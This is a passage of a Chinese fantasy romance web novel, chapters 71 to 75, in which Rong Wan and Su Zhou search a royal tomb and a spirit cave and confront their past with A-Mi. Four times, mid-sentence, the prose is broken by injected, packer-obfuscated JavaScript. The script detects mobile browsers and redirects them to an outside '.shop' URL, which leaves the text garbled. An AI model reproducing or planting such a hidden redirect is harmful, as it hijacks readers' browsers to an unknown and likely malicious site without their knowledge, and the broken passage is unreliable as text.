“我不想现在说这个。”意识到夙昼加快的脚步时,容晚唤道:“阿昼,你知道我是在说——当年没能多多来看你,我有歉意。” “那你打算什么时候和我谈?”夙昼转过脸,眸光落在她眼中,毫不掩饰的疑问、自嘲和脆弱一起落在她眼里。 “至少不是现在。”容晚原先打算找个时机和他谈谈,但莫名的恐惧总是占上风,害怕谈过之后,他们又是分道扬镳,害怕因为各持己见、各有立场,一切的一切冲向不可挽回的方向。 “我想和你谈谈,现在,或者见过你那皇帝舅舅以后。”夙昼拉着她的手,指尖摩挲着手背,神情有些不忍,“那些事,总要面对的。关于你我,关于衡、那些老朋友……” “我、至少不是现在。”容晚看着他的眼睛,其间的痛苦不比她少,她听见一声极轻的叹息声。 “我以为,总不能叫那些事一直隔在我们中间。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020324|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夙昼平静地笑了笑,她的爱意是坦荡的,重逢的欣喜是真实的。对他的芥蒂,像隔在他们中间的那堵墙,像无形的结界,他们始终无法真实触碰到彼此。 “你以为——”容晚的音调有些高,她不可置信地望向他,瞳仁因为刻意的惊讶放大,“那是我们的隔阂?你以为,谈过了事情就能过去,像没发生过一样吗?夙昼。” “你可以恨我,怨我。”夙昼的声音似乎有些模糊,容晚好似又回到当年那日,她微微晃下头,发丝落在眼前,更是遮挡住眼前人。 模糊地望见,他起身跪俯在身前,抬眸,声音是浓重的歉疚,“别再惩罚你自己,容晚,你没错。伤你的话我从不想说,可我确实好像伤到了。” 容晚倏然落下泪,她从前很少哭,回来之后,每夜都会哭。伤心至极时,抱着一堆酒坛,手脚并用地爬上那颗桂花树,握在天然的树窝里,与月光不醉不归,再同天光做一个回到从前的梦。 设下的结界强悍,谁也不能碰到她,就那样,在树间桂香里,一个又一个夜晚过去。 直至今日,他们重逢。容晚俯身泄了力,滑进他怀里。夙昼被她扑得向后一仰,顺势坐在地上,任由她把头埋在颈窝里。 热意滑落,顺着脖颈滚落到胸口,灼人地烫。他不知如何抚慰她,也并不想为那些从不后悔的决定忏悔。夙昼索性把自己埋在她怀里,顺着她的脊背一下下轻拍着,正要问出那个他从来没有答案的问题。 唇齿相合,他又咽了回去。 不巧的是,公公带着口谕赶来,撞见搂搂抱抱的两人,地板似乎烫脚般跳出去,背靠着门扇说:“小郡主,陛下醒了。” 见到须发近白的帝王时,容晚委屈道:“舅舅,这些年没来看您,晚晚罪过太大。” “不碍事。”帝王午后初醒,披着长衫,无力地倚在软塌上,眼神里的爱护一如从前,“听阿阑说,你这年一直梦魇,如今可好些了?” “好些了。”容晚答。 “梦魇?”夙昼问。 帝王的审视落下,慈爱的目光瞬时化为锐利的剑,“你就是抢婚的那小子?哪门哪派?实在是荒唐之举,将晚晚推到风口浪尖!” “是。无门无派。晚辈考虑不周,恐怕她真的嫁予旁人,一时莽撞。”夙昼乖巧地回复道,有问有答。 “早些时候怎么不来?真是两情相悦,取消你同阿玄的婚事,”帝王的眼珠浑浊,哽咽了一下,“也不必闹到如今的地步。” “事出有因,晚辈来晚了。”夙昼恭敬道。 帝王冷哼一声,转而慈爱地问询:“晚晚今日来,想必是为了阿玄一事。你母亲来信中,已向我说明一切,我会尽我所能地支持你。此行不必事事告知我,来日只同我说一个因果足矣。我困了,回吧。” 当日,容晚带着夙昼离开王城,他们站在薛氏王陵的旧址上时,夙昼心口冷冷一跳,她找到这里的时间比他预想得快。有些过往,他绝不想她知道。 “走了。”容晚站在王陵入口处,语气沉静地催促他。 72. 不念于念 薛氏王陵迄今约莫五千年。 漆黑的石道里,石壁上的灵珠在漫长的时间里熄灭,此时空中正飞舞着一团雪白的光球。 不知何处穿来的阴风,吹得容晚一颤,夙昼牵住她的手,拉近两人的距离,“不能走散。” “当年,你登顶人间界时,查过夙州血案的隐情吗?”容晚小心斟酌措辞。 “不敢查。”夙昼正抬手挡过袭来的蝙蝠群,血色的光点四散,振翅声消失了。他自嘲地笑了笑,“我怕查出来的后果,是我恨不得当场自戕,又或者再也无颜于世。” “阿昼,你在逃避,我也是。”容晚感受着掌间的温热,她的指尖四季冰凉,如今倒被暖得几分热意。 终是与爱人执手相握时,拥有最强大的勇气。容晚同他十指相扣,指腹死死攥住他的手,好似这样,她就能拥有面对一切的力量。 “我们不要逃避了,好不好?我们一起面对所有的事情,不论是明玄的死,那个和你一样来到此间的凶手,还是……” 久未说出的名字从心口被剜出,容晚痛得呼吸一滞,嗓音沙哑,“衡游、阿意和阿弥,所有的所有,我们一起面对。”她几近是祈求,“我不相信真相是这个样子,我不相信你真的会杀了她。” “我总会如你所愿,哪怕来日的结果让我无法承受。”夙昼深深地呼出一口气,呼吸微微颤抖。 “你有事瞒我?”向来敏锐的容晚抓住他一瞬的漏洞。 玄衣青年宠溺地扬起笑,他伸出一手,三四根指尖皆泛着彩色的光,“我身上的天道契仍在,说不出口。”他显摆地翘了翘手指,嘟囔道:“还挺多,是不是还很好玩?” 听见他的玩笑,容晚立即甩开他的手,“好玩?哪里好玩?” 曾在天道契下身受桎梏,又一次次地违契,元灵血脉皆是苦楚。哪怕他是不要她担心,也绝对不要听到这样的玩笑。 指尖彩色的光流转,夙昼听见容晚说:“不要再有告诉我的心思。”他心念一动,不再想那些契约,天道契的光芒隐入黑暗,再也看不见了。 仅有的一团光源飘在他们前方,纯白的光落在她脸上,在眉眼间是睫毛细密的阴影。 “好,我不想。”夙昼复又去牵她。 石道蜿蜒转着方向,他们在迷石阵里穿梭,渐渐地,岩石上烧焦的石痕繁密起来。 这是当年白诡火留下的焦痕。 一连三五道门,皆是敞开着,其间秘宝墓葬被搜刮干净,入目只见残破的墓室。 漫长的岁月流淌,容晚的设下的封印白诡火的封印逐渐失效,直到第十二道门时,残存的封印尚在。 “你来解,让我看看长进几何?”容晚侧身让出位置。 破阵先寻阵眼,夙昼观察了几息,寻着一个方向攻击,破掉一个虚晃的阵眼。下一击,阵印碰碎,轰隆一声撞开石门,碎石迸溅。 “是有长进。”容晚踩过碎石,这第七间存放的是珍宝瓷器。后面的间大同小异,容晚穿过那些阵印石门,宛若无物。 “这里的壁画,画的是什么?”容晚问。 照明的光团落在石壁前,粗糙的刻痕,灰暗的彩色,依稀能认出是三位为首,参加某种祭典时所绘的。没有题字,没有书名。 壁画右边是一片突兀的空白,夙昼估计那时文字的书写排布,做出推测,“本应该有一篇刻文,但因为某些原因被抹去了。” “是上因容氏的阵印,但如此不留痕迹,只怕是这三位为了某些约定,结了天道契——” 猛然想起他们曾结下过。容晚抓起夙昼的手,那一指尖的血色光芒已是三道。 “从前只有两道,第三道是我?为人间大业的天道契依然在你身上,不能违契。”容晚声音低进风里,她喃喃道:“可如今没有战事、没有仙魔,唯一的变数就是明玄之死,难道——” 难道一切的后续又会和从前一样上演吗? “我们抓着仅有的线往前就好,有人引着我们呢。”夙昼收敛指尖的血光,“您说的,我们一起面对。” 一直向前,直到穿过第二十四道门,狭窄的墓室豁然开阔,空空如也,望不见下一道门在何处。 “这里最靠近中心。”容晚仔细揣摩说:“越是外围距离现在越近,我们一共越过二十四位帝王的墓室,但这一间的主人依然不是薛迢。” “在下面。”夙昼飞出一点光亮,在墓室的石砖上飞速地撞来撞去,以某种规律依次跳跃着。 缝隙开合,遍地石砖升降自如,高低错落,青苔坠地时,泥土的潮湿味道弥散开来。 一条黑暗而隐秘的通道暴露。 “来。”夙昼跳了下去,冲容晚张开双臂,却见她身形一散,再重聚时,已在他身前不远处,往通道深处走。 “师父,你不爱我。”夙昼追上她,负手倒着走,一张脸晃在容晚眼前,腰间的玉佩叮当作响。 “嗯。”容晚冷冷道。 “哈?”夙昼难得不好说话,“既如此,我真是痛彻心扉,心如刀绞,心……” “随你。”容晚的视线落在夙昼身后。 陡然宽广的密道,距离尚远,便能望见一尊金光闪闪的帝王雕像,手中持着……一把拂尘? 热衷修仙的皇帝? 人间界的年号她并不熟悉,容晚戳戳夙昼的腰,问:“这是薛迢?座下刻的年份是霜元二百零八年,我们离开的第九年。” “嗯。”被问询的夙昼丝毫不见方才的玩笑,他声音极为沉静,一如做帝王时气质山河的孤傲,一针见血地指出,“他是薛迢。” 冷冽的帝王忽然扯了扯嘴角,“当年见过您之后,他就……沉迷成仙。看如今人间修仙者众多,想来他开了个好头。”他赞赏道:“延续挺好。” 雕像周边是四方的水池,涌动的水波清澈透明,泛着闪闪银光,似乎并不是水,而是一池晶莹的气泡。 说是气泡,似乎并不是。 “阿昼,过来。”容晚打量着波光粼粼的水面,夙昼正玩弄雕像手中的拂尘,拂尘晃在手里,将掉不掉。 “你看水底是不是有珠子?” “有吗?”夙昼凑近细看,手一抖,雪白的拂尘落入水波,转瞬即逝,只能望见泛起金色光芒的法阵。 “明氏阵印。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028522|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”容晚盯着张着手的夙昼,他眼里平静不见慌乱,唇角微微撇着,显然是故意将拂尘扔进水里的。 “你下去。”容晚指使唇间暗笑的夙昼,说:“把东西捞上来。” “遵命。”夙昼扑通一声跳进水里,水花四溅,容晚微微后退一步,寻了个舒适的地方——雕像前供参拜的软垫,坐下撑着下巴望过去。 流动着的银光闪烁,四溅的水花落在他脸上,顺着眉峰、眼尾往下淌。一颗颗泛光的留影珠被他摆在岸边,以一种奇怪的顺序。 明明可以动用灵力,他偏偏一颗颗亲手捞。 寂静的墓室里只能听见水波的声音,和一颗颗留影珠搁在地上的清脆响声。 “不是还有?你怎么停下了。” “够用了。”水波里尚有银光,夙昼头也不回地朝她走来,走近时,身上的水分蒸干,他伸出手甩了甩,残留的几颗小水滴如雨落下,将要溅在容晚脸上,他语气轻快说:“下雨。” “嗯,下雨,我去看看留影珠。”容晚避过夙昼,只听她颇为尴尬地笑了声,“你这么摆是挺有意思。” 几十颗留影珠摆成两个字,容晚实在看不下去,手一挥,留影珠整整齐齐地排成一个方形。 留影珠泛起光亮,容晚拿起一颗,注入灵力,“空的?”又拿起一颗,“还是空的?” “师父手气不大好,我记得从前您在妖精那能赢几百万灵玉。”夙昼憋着笑。 一颗留影珠砸过来,夙昼抬手接住,得意地晃了晃,又瞅准容晚的身旁扔回去,“我才不看。” 摸到第十来颗时,注入的灵力得到回应,容晚小心打开其间串联的阵印,抬眸对夙昼说:“有了。” “看看。”夙昼倚着墙站着,衣衫被不知哪里来的风吹动,但他丝毫没有一起看的动作。 “你不和我一起看?” “我看不见。”夙昼顿了一下,拖着软垫往她身边一坐,在一声叹息后扬起笑,说:“师父讲给我。” “怎么回事?”容晚再不想问,夙昼如此明显的行为她怎会不懂。 熟知薛迢的墓室机关,随随便便穿过明氏的阵印。连随手一捞留影珠,都把全是杀阵的珠子留在池子里。 一句“够用”,一句“我看不见”。他显然早就知道此间会发生的所有事,他在引着她来这里。 恐怕不慎掉落的拂尘也是刻意为之。 “到底是怎么回事?你——”容晚质问声戛然而止。 天道契的那几缕彩光,爬着他的指尖,汇入灵脉,夙昼痛地皱了皱眉,“我说不出口。” “我不问了。”容晚眼眶莫名干涩,她继续摸下一颗留影珠。猛然间,她意识到一个严峻的问题。 那尊金像塑于霜元两百零八年,霜元一百九十九年消散在她怀里的夙昼如何能知道九年后的机关秘术?就算那时的他重生过一次,那眼下的人…… 疑惑的目光落下来时,夙昼握着她的手,一阵刺痛,他们的血液一同涌向那颗留影珠。 当血红的阵印释放,珠内留影冲入脑海时,容晚只来得及问一句。 她紧紧攥住他。 73. 不念于念 猩红色的火焰扑身,夙昼护住容晚,他不知从何说起,也无法告知。 铺天盖地的火焰燃烧许久,几处血红色的光点在四处跳动,毫无规律。 “我去捉回来。”夙昼设下结界,本想独自前往,但对上容晚微红的眼睛,他轻叹了一声,牵着她的手去捉那几处光点,他将第一处光点攥在手心,“方才你问我,是不是死在霜元二百八年?为什么这么问?” “所以是在那一年。”容晚挣开他的手,指尖一动,一处光点落在她手中。隐秘的阵法于她而言不过尔尔,几道阵印落下来,包裹着的红光四散,像花叶开合一般凋落。 半片天书残卷落在她掌心,浅金色的纹路顺着文字流动,只能窥见一个“诏”字。 “为什么是那一年?”容晚的思绪陷入混乱,她麻木地抓着一团团光点,解阵,化为残卷,攥在手心,声音是从唇齿间挤出来的。 久未细想的缘由,让她忽然忆起,当年那个所谓涅槃重生的任务。夙昼重生过一次,又死过一次,因为不知为何的缘由,来到这里见她。 总不会是又死过一次? “我不知道。”夙昼跟在她身侧,亦步亦趋,总是先行一步挡掉那些恼人的火焰。 “齐了。”容晚数着手中的残卷,一共七片,拼凑起来便露出原貌,一卷“三界诏书”,其上阵印并不复杂,薛氏血脉可解。 “手指,血。”容晚说。 “我的血有用吗?要是什么薛迢子子孙孙的血,那我可不是——”夙昼刺破指尖,一滴血落在残卷上。 无数细密的血光飞速修补残卷,浅金色的阵印诏书映在空中。 一行金色的字迹浮现—— “来者何人?” “容晚。” “你爹。” “嗯?”容晚顿了一下。 “怎么?”夙昼微微挑了下眉,“他作为我的义子坐上王位,可不要喊我一声敬称?” 下一行金色的字迹浮现—— “父王。” 如此难以名状的场面,容晚低下头压唇边的笑,抬眸时,中年帝王的虚相映照在空中。 “薛迢,好久不见。”夙昼朝那金色虚相伸出手,虚相瞬时间朝他冲来,在他身旁绕了好几圈。 “自当年一别,您我已有五千九百六十三年二百一十四日未见了!”薛迢激动的声音响彻整间石室,他又望着夙昼身旁的容晚,大吃一惊,“上仙?您、您也是虚相?” “虚什么虚?她不是。”夙昼冷声道。 “你寿数不该如此。”容晚抓住他一缕虚相,将其间阵法仔仔细细辨认过,眉目间染上不悦,“三界阵法,上因、落乌和人间界共下阵印。” “上仙聪慧异常。”薛迢索性盘腿坐在自己的金像下,眼神里喜悦异常,“霜元二百零八年,也就是五千九百六十三年前,战事四起,生灵涂炭,天道降下契约,三界共设大阵,自此三界分立,永不互通。” “这样繁复的阵印,是谁做了阵眼?”容晚感知着此间的气息,熟悉但又陌生,颤抖的指尖被她攥在掌心,声音也颤抖着:“生人为祭,至少三人,是谁?” “人间界当年,一夜之间消失的唯有一人。”薛迢的神色竟是矛盾的,一瞬恶寒,一瞬哀叹。“是薛容。想来两位应当不认识。他是薛铎的儿子,如此两位便不陌生了。” “那个杀父杀兄杀弟的薛铎,他的儿子却做了阵眼,为人间界做了阵眼。”容晚很难探究这种矛盾的情绪,她垂下眼睫问:“还有呢?” “落乌界的那男子我并不认识,而上因界是一位女子,我也不认识。”薛迢摇摇头。 “那他呢?”容晚指着夙昼问,“那时候的他在何处啊?” “在——”薛迢小心地瞟着夙昼的眼神,其间震慑之意让这位帝王也错开视线,避而不答:“好像那时人间已没有他的消息了。” “你说。”容晚望向夙昼,他冲她扬了扬指尖泛光的天道契,明知故问,“说什么?” “算了。”容晚继续揪住薛迢的虚相,“那阵眼在何处?如今人间界并没有边界,南北互通,东西亦然。你不要告诉我在天上。” “不知道。”薛迢遥遥头,“我确实不知道。不过你们或许可以去灵洞找找答案,那里是人间修仙的起源,有一位大成者在三界分立时,选择回到人间,再不成仙。” 追踪着诏书上的阵法灵气,越过数重虚晃的阵法,直到重重山障出现在眼前,通天石阶沿着山壁一圈圈爬上去,没入缭绕云雾。 “是这里吗?”容晚敲了敲诏书,薛迢的虚相晃出来,他摸着头问:“我只是出了钱,并没来过,或许是吧?” “师父觉得是?”夙昼环抱着双臂跟在她身侧,同她形影不离。 “这道诏书上有三界灵印,既是当年的分界诏书,那这其中的一道必然属于人间。不管这里是不是,我们总归要看一看。”容晚收起诏书,她踏上石阶的一瞬—— 雾气骤然浓重,晶白的光自山顶射出,一道道地在分叉的石阶路中指出一条明路。 “阿昼,好熟悉的阵法。”容晚拨开几重阵印,摇头轻笑道:“我几乎以为是我自己设下的阵法。” “这世间可再没有另一个师父了。”夙昼贴得她更近,酸道:“总不会是师父哪个徒弟吧?” “是。是尽一吧。”容晚笑道:“我不就收过你们两个?” “他早死了。”夙昼越过容晚,沿着重重石阶往上走,任由容晚追上来问:“怎么回事?” “我不知道。”夙昼偏头望向这里的山障,似乎他们踏上石阶的一瞬间,已然一瞬踏过数百阶。原先远在山顶的光源此刻如在眼前。 如此精妙、毫无痕迹的传送阵法,除却容晚,他确实想不出第二个人能有此能耐。 “如此巧妙的传送印,连我都不曾察觉,我倒要看看是谁的阵印能修得同我十分像。”容晚抬眸望向那一点光源,拉住夙昼的衣袖,瞬时间,一阵微风划破冷雾。 “灵洞”二字刻在洞前的石碑上。 一道道杀阵向闯入者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037700|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袭来,容晚抬指拨开,指尖一动,便似狂风起时,吹得云雾大开,连夺人性命的杀阵也宛若落叶般被风撕碎。 几道惊呼声炸响在耳边。 “谁人擅闯灵洞?” “不要命了吗?快出来!其间有凶兽啊!极凶之兽!” 两个穿着黑衣的小弟子围上来,为首的小弟子手中的灵盘哗啦啦地响,语气焦灼,“我乃灵洞守山弟子,褚扶光。此间杀阵要人性命,其间有上古凶兽,切勿硬闯!” “我是褚华秋,你们又是谁?”另一个稍显火爆的小弟子叫道:“疯了不成,敢擅闯灵洞!” “没疯。”容晚淡淡地回头,“多谢两位小弟子提醒,我因为不得不的理由确实要进洞。等我出来后,再去向你家主人赔罪。” “阿昼,走了。”容晚忽觉裙角被人攥住,猛地向后一趔趄,堪堪扶着夙昼的手臂站稳。夙昼正怒视着两个少年,眉间戾气吓得两少年往容晚身后藏。 “你们不能就这样进去,万一偷了、偷我们灵洞的宝贝……” “不是有凶兽?”夙昼冷冷扬唇,把两个少年从她身后拎出来,吓唬道:“偷走凶兽不好吗?” “阿昼。”容晚轻轻喊了一声。 玩心大起的夙昼划过一道结界,冲着两少年笑道:“乖乖等着,我要去偷凶兽了。哇呜!” 两少年坐在石碑旁,一个神情严肃,另一个急躁慌乱,“告诉师父?脑袋开花?不告诉师父?屁.股开花!哇——扶光怎么办!” “等。”褚扶光抱着剑,严肃道。 洞中的凶兽自记载起,至少有五千年。五千年的凶兽,吃人肉,喝人血,最爱吃细皮嫩肉的姑娘。那姑娘年纪轻轻,不会……褚扶光庄重地摇了摇头。 风声自四面八方而来,同薛氏王陵一般,越靠近深处,杀阵越重。而这里,能闻到一股浓重的杀气。以及,莫名奇妙的臭味。 “师父,好难闻。”夙昼默默捂住口鼻,看见容晚设下屏蔽嗅觉的阵印,又默默松开手。 “这里似乎还是外围,我们没走到中心。”容晚瞥见满地凌乱的鳞片、毛发甚至还有碎骨,喉间涌动,几欲有些恶寒,“这里会是什么凶兽?不会真的吃人吧。” “是羊骨。”夙昼淡淡道:“这家伙的鳞片真是硕大无比啊,堪堪比我的手还要打大几圈。” 一道黑影猛然窜出,容晚脚步一停,撞在夙昼怀里。 又是一道黑影,容晚默默靠在夙昼怀里,“阿昼,应该是我看错了吧。” “也许。”夙昼掌间的血色光芒渐起,时刻酝酿着,截杀那只所谓的凶兽。 黑影窜出的瞬间,血色光剑破风而去,怔然落在黑影上,只听一声小兽呜咽般的痛呼。 “吼——” 碎石自山洞顶上崩落,原先的黑影数百倍地增长,体型巨大,撑得山洞摇摇欲坠。 诡异的金色眼睛自黑暗里睁开,又是惊天动地的一吼。 洞口的石碑塌了,两个小弟子同时惊叫道:“师父,不好了!” 74. 不念于念 脏兮兮的凶兽被骤然而落的灿金阵印压制住,像一团漆黑的碳被焰火点燃,星点火花迸溅,它死命地挣扎着,忽然一只琉璃般的眼睛望过来,霎时间盈满泪水,拼命眨动。 安静下来的凶兽被阵法压制着缩小身形,直到成为一只小团子,头上的角便突兀地显现。 “怎么成这幅模样了?”容晚伸出手去碰凶兽的鳞甲,嗷呜唉叫的麒麟兽蹭着容晚的掌心。 一只眼睛失明,一条后腿断了。容晚为它止痛后,数个清洁皮毛的咒术萦绕着墨麒,终于露出本来的颜色。她小心地将它抱在怀里,路过倚在石壁边看热闹的夙昼,轻轻踢了他一脚,“走了。” 墨麒忽然躁动起来,它咬着容晚的衣袖让自己跳下来,一瘸一拐地往灵洞深处走。 走过一段距离,停下来,回头等待容晚,再走一段时,身躯被容晚以灵力相托,几千年来第一次放松身体。 “这麒麟兽是褚尽欢送您的?”夙昼幽幽的声音传来。 “不是。” “您送他的?” “输给他的。”容晚跟上墨麒,“打了一架,输了。” “您还会输?”夙昼笑了一声,将眼睛转向盯着墨麒的容晚,她的目光眷恋幽远,似乎在透过那只半残的麒麟看别人。又似乎是在回忆某些过往。 “我当然会输。”容晚认命地闭了闭眼,声音淡哑,“没有谁会一直胜,而当年最后一战,你说你输给了我。” “不是吗?” “不,夙昼。从始至终是我输给你,一败涂地。” 前方的麒麟停住,爪子扣上一块突兀的石头,轻轻扣了三下。 一声极轻的唉叫,灵洞内无形的阵法露出踪迹,浅金色的符文顺着脚下环绕、旋转,将冷着脸的两位外来者团团包裹。 容晚早已准备出击的指尖慕然落下,这是她的阵印,从阵眼排布到阵印绘制,完全是出自她手。 这不可能…… 同样被震撼到的夙昼亦是一怔,掌间即将飞出的杀阵被猛然收回。怎么会如此相似?在此间遇到墨色麒麟兽,那那人、褚尽欢是不是便是不曾飞升的灵洞主人?薛迢口中再不为仙的大能? 当年灵台审判时,他们都是最后一次见到褚尽欢。世人皆知褚尽欢已死,但唯有他清清楚楚、明明白白地知道,褚尽欢只是离开了,无人知晓踪迹。 而他按照当年约定,宣布褚尽欢殉情而死。 “不是他。”容晚敏锐地过分,一声不吭的夙昼八成是想到褚尽欢了,这么多年,夙昼难道一直将褚尽欢视为大敌?不该如此。 “我与他的同门情谊消耗地所剩无几,但你要问我对他有没有感情。”容晚迟疑了一瞬,听见夙昼的呼吸猛然急促,她顺从内心说出真实的想法,“他对我而言,很复杂。” 麒麟兽已然将几处石块都点亮,杀人于无形的阵印此刻如同春风和煦般,抚摸过二人。容晚忽然感到眼前一阵刺痛,炫目的光迸发,眼睛刺痛得厉害。 一只温热的手覆上她的眼睛,容晚轻声说,“阿昼?” 刺目阵光随着风声落地,呼啦作响的声音刺激得灵洞遥遥欲坠。 “那我呢?也复杂吗?”夙昼在阵光熄灭的同时,收回覆在她脸上的手。 遮挡住的那双眼睛露出来,他似乎又看不出其间几分感情,几分在意。 “爱我吗?”夙昼冷不丁地问出口,“我是怎样的人都爱我吗?不管我杀了谁,谁又死在我手里,你都——” “夙昼,真是很遗憾,我一次次欺骗自己不去计较过去的时候,你总是在提起。我现在不想回答你的问题。”容晚认出了这里的石像。 在麒麟兽身前的那一小尊雕像,以及那一对弯月形的玉佩。 “可明明是你更在意,你知道,我不在意那些故去之人,总是要有牺牲——” 凶猛而不留情面的噤声阵印落下,夙昼怔愣着望着容晚,她垂着头,指尖有些轻微的颤抖。 似乎能听到水滴坠落声。 “我知道你要问这些。”容晚感觉似乎有人在扼住她的脖颈,逼迫她停止呼吸,可心里的症结强行打开一个出口,逼得她在寂静无声的山洞里剧烈喘息,声音是哽咽的,“可我也说了不想谈,你以为这里是褚尽欢的灵洞,便言辞犀利,咄咄逼人,可我叫你不要说了,你为什么不听?” 窒息的感觉一同落在夙昼心口,他心生歉意,嫉妒冲昏的头脑被她的哽咽敲醒,却碍于噤声咒——他自然解得开,但还是等着她。 “你谈牺牲,哪里、什么时候都可以,唯独这里、现在不行。”容晚将石像前的弯月佩拿起来,冰凉的玉感却烫她眼眶一热,呵斥道:“当着阿弥的面,我没有脸面和你谈牺牲。” 阿弥?是谁?有些熟悉的名字。夙昼的茫然落在容晚眼里,她又是一怔,那不是他的好友,也不是他的责任,他尚且匆匆见过一面襁褓里的阿弥,怎会知道她的名姓。 雕像似乎在重启着繁复的阵印,微弱的光和热传到容晚手心。她挣扎地想逃离这里,却还是把石像放在掌心。 “她的爹爹因我而亡,她的娘亲死于你手。”容晚黯淡无光的眼睛转向夙昼,“你告诉我她是谁。” 噤声咒早已被解开,夙昼喘着气,将唇齿咬得血肉模糊,他说不出答案。 石像黯淡了一瞬,又以前所未有的速度发光发热,阵印符文顺着石像的脉络游走,烫得容晚掌心发红。 “阿弥,你听见了吗?”容晚叹了一口气,将石像放回原位,她抱着乱窜的麒麟兽背过身去,往灵洞外走,“我不得不带走墨麒,它的伤太重,需要看医仙。” “随时找我复仇,我的命,可以留给你。”夙昼跟着容晚转身—— “姑姑。” 灿金色的符文亮起,石像怦然碎裂,一片片地掉落,露出其间金身像的虚相,映得昏暗的灵洞内金光熠熠。 肩膀颤动着,身后的呼喊那样陌生,那是一个年老者的声音。容晚哭了,所幸、所幸阿弥好歹是拥有了漫长的一生。 “姑姑。”声音变幻为十八九岁的女子,“您不想见见长大的我吗?阿弥一直在等您接我回家。” 泪意更甚,容晚猛然回头,眼前眉眼清冷,唇边挂着淡然笑意的阿弥正冲她抬起脸。那是一双浅茶色的眼睛,阿弥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14045005|147599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拥有衡游和阿意所有的容貌之合。 “是你?”夙昼压下异样的情绪,可阿弥一寸注意也不分给他。 “姑姑,您说会努力努力接我回家,我就一直等、一直等,却等到了您的死讯。后来,您身旁那位在夙州涅槃,厉火烧上上因,我再见他时,他自毁血灵,一身残躯跳了黑水湍流,再无音讯。” “他好伟岸,拯救苍生,是不是?”阿弥话锋转冷,“他也好卑劣,为赢得战事不计手段。”手指缓缓指向夙昼,“那他是好人还是坏人?” “阿弥……”容晚压下心口绞痛,努力扬起笑,一个不那么苦涩的笑,“你如何看待他,和如何看待我是一样的,你说我是好是坏?” “不一样!姑姑是姑姑!但他是凶手,他杀了我的娘亲!所以爹爹才领兵落乌、才死在上因!都怪他!”已经度过无数年月,将过往岁月反复咀嚼,连见面也幻想无数次的阿弥,不管不顾地将少时症结质问着喊出声。 不会恨姑姑,永远不会恨姑姑。阿弥看过那些留影珠,一共三千多颗。 爹爹娘亲的最少,几百颗,却支撑她度过漫长岁月,在无尽的人生里对父母有记忆,她得以知道他们是怎么样的人,而她长得多像他们。 其他的全是容晚。或是教她习剑阵法,或是聊天南地北,又或是讲人生讲希望,连阿弥遇到的一切问题都提前做好回答。这些,陪她度过春夏秋冬,一年又一岁。 “你该怪我的,阿弥。”容晚为阿弥的虚相拭去泪水,一碰,相便散了。手指上的湿冷刻入骨髓,等虚相重聚后,容晚的声音仍是颤的,“是我执意要做之事,连累了许多人,包括你的爹爹娘亲。一切的源头是我。” 阿弥猛然瞪大双眼,那双眼睛亮了一瞬,复又浑浊,属于六千多岁老者的浑浊。她张了张唇,怒声道:“我不信。” “是这样。”容晚道。 “那——为什么不继续了。我想过许多年,那个三界共主的大业,为什么不继续了?”阿弥思考过无数种可能,但显然没有给自己找到合适的理由。 “因为——生命自有来去,谁说了都不算。我不是在为自己开脱,只是你爹爹的离开让我第一次直面死亡的痛苦。”容晚哽咽许久,复又停顿思考,“显然——我找到了答案。” “这是选我输的理由?”夙昼忽然开口,眉头蹙地更甚,黝黑如墨的眼睛里盛着自嘲,他恍然大悟。 “选你输是手段,不是目的。”容晚对夙昼说。她歉疚地望着阿弥如水的眼瞳,阿弥在漫长岁月里积淀太多她不懂的东西。 “阿弥,而一切的目的,是我想你可以平安长大,然后像如今这样,拥有漫长的一生。如果有可能,是很好很长的一生。所以我把一切留给你,凡我所有。” 此时此刻,容晚眼中的水光是夙昼从未见过的怜爱,如同细密情丝织就成网,引人坠落。他贪恋她的眸光,发问: “你对她的爱是凡你所有都给她,那我呢?我有什么?” 如月光下疯长的灵弦草一般,嫉妒之火吞灭理智,他只想扣着她的肩颈吻她,一边吻一边问:“我有什么?被我亲手送进心口的一剑?” 75. 不念于念 “我有什么?”夙昼问。 